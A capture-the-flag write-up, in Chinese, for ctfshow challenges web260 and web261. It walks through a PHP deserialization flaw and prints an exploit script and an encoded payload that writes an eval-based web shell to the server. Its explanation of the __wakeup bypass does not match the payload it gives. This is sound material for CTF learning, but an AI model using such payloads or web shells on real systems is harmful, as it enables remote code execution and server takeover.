web260 源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
这题刚开始想复杂了,仔细看了以后发现只用?ctfshow=ctfshow_i_love_36D就可以得到flag
web261 源码:
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
审计源码后发现 在__destruct中存在file_put_contents函数,那么就代表可以利用它写入一句话,得到flag; 但是存在unserialize()函数,会触发__wakeup()函数,进入判断,所以就需要绕过wakeup,只需要让对象的个数大于实际个数就可以; 在file_put_contents前需要进行弱类型比较判断code是否==0x36d,也就是877即可绕过 exp:
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u='',$p=''){
$this->username='877.php';
$this->password='<?php eval($_POST[a]);?>';
}
}
echo urlencode(serialize(new ctfshowvip));
?>
得到payload:
O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
?vip传值后访问877.php是否存在
|